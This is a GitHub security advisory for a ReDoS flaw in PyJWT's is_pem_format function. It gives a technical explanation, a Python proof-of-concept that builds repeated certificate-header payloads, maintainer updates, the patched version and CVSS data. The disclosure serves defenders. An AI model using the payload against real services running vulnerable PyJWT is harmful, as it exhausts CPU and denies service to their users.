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PyJWT: ReDoS vulnerability when calling the `is_pem_format` function.

Moderate severity GitHub Reviewed Published Sep 11, 2026 in jpadilla/pyjwt • Updated Sep 30, 2026

Package

pip pyjwt (pip)

Affected versions

<= 2.13.0

Patched versions

2.14.0

Description

Summary

There is a Re-DoS vulnerability in the is_pem_format function which results in a intesive CPU usage if an attacker is been able to provide a custom certificate.

Details

The problem is that the lazy quantifier .+? will always first try to match as little as possible until it finds a ---- END. Normally this means the complexity of this should be O(N). However, by providing an input which consists only of ----BEGIN CERTIFICATE----- lines and no ---- END line, the regex algorithm will first try to match the first line and then, with the lazy quantifier, all the lines until the end O(N), which then fails since it is unable to find a ---- END line. It will then jump to the next line, resulting in N re-scans of the whole string, which means the complexity basically results in O(N²).

PoC

import time
import re


BEGIN_LINE = b"-----BEGIN CERTIFICATE-----\n"

_PEMS = {
    b"CERTIFICATE",
    b"TRUSTED CERTIFICATE",
    b"PRIVATE KEY",
    b"PUBLIC KEY",
    b"ENCRYPTED PRIVATE KEY",
    b"OPENSSH PRIVATE KEY",
    b"DSA PRIVATE KEY",
    b"RSA PRIVATE KEY",
    b"RSA PUBLIC KEY",
    b"EC PRIVATE KEY",
    b"DH PARAMETERS",
    b"NEW CERTIFICATE REQUEST",
    b"CERTIFICATE REQUEST",
    b"SSH2 PUBLIC KEY",
    b"SSH2 ENCRYPTED PRIVATE KEY",
    b"X509 CRL",
}

_PEM_RE = re.compile(
    b"----[- ]BEGIN ("
    + b"|".join(_PEMS)
    + b""")[- ]----\r?
.+?\r?
----[- ]END \\1[- ]----\r?\n?""",
    re.DOTALL,
)


def is_pem_format(key: bytes) -> bool:
    return bool(_PEM_RE.search(key))


def make_payload(num_headers: int) -> bytes:
    return BEGIN_LINE * num_headers


def measure(num_headers: int) -> float:
    payload = make_payload(num_headers)
    start = time.perf_counter()
    is_pem_format(payload)  # returns False, but burns CPU getting there
    elapsed = time.perf_counter() - start
    print(
        f"  headers={num_headers:>4}  size={len(payload)//1024:>3} KB"
        f"   time={elapsed*1000:>7.1f} ms"
    )
    return elapsed


for n in (1000, 2000, 4000, 8000):
    measure(n)

Impact

The attacker could use extensive resources, which could make the resource (e.g. a web server) unavailable.

Maintainer update (2026-09-10):

We reproduced the reported quadratic regex behavior on malformed PEM-like input: doubling repeated BEGIN lines produced approximately fourfold runtime growth, while equal-sized ordinary input remained negligible. The affected path is reached when an application passes attacker-controlled key or certificate bytes to PyJWT’s key preparation, and the impact is resource exhaustion. The fix is on master in commit 8b4e233a22206b34ec1186e912e75c0b2396ac07; it replaces the backtracking PEM regex with a bounded marker scan. Fresh Astra/max review accepted the fix and confirmed malformed, mixed-label, and valid-input controls. This is a distinct ReDoS finding from the later PEM-recognition report that shares the implementation commit. The fix has not yet shipped in a released PyJWT 2.x version, so this advisory is being moved to draft and remains unpublished pending release.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with the release recorded as the patched version.

References

@jpadilla jpadilla published to jpadilla/pyjwt Sep 11, 2026
Published by the National Vulnerability Database Sep 28, 2026
Published to the GitHub Advisory Database Sep 30, 2026
Reviewed Sep 30, 2026
Last updated Sep 30, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
High
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(8th percentile)

Weaknesses

Inefficient Regular Expression Complexity

The product uses a regular expression with an inefficient, possibly exponential worst-case computational complexity that consumes excessive CPU cycles. Learn more on MITRE.

CVE ID

CVE-2026-102270

GHSA ID

GHSA-jwrc-g2q2-pq5p

Source code

Credits

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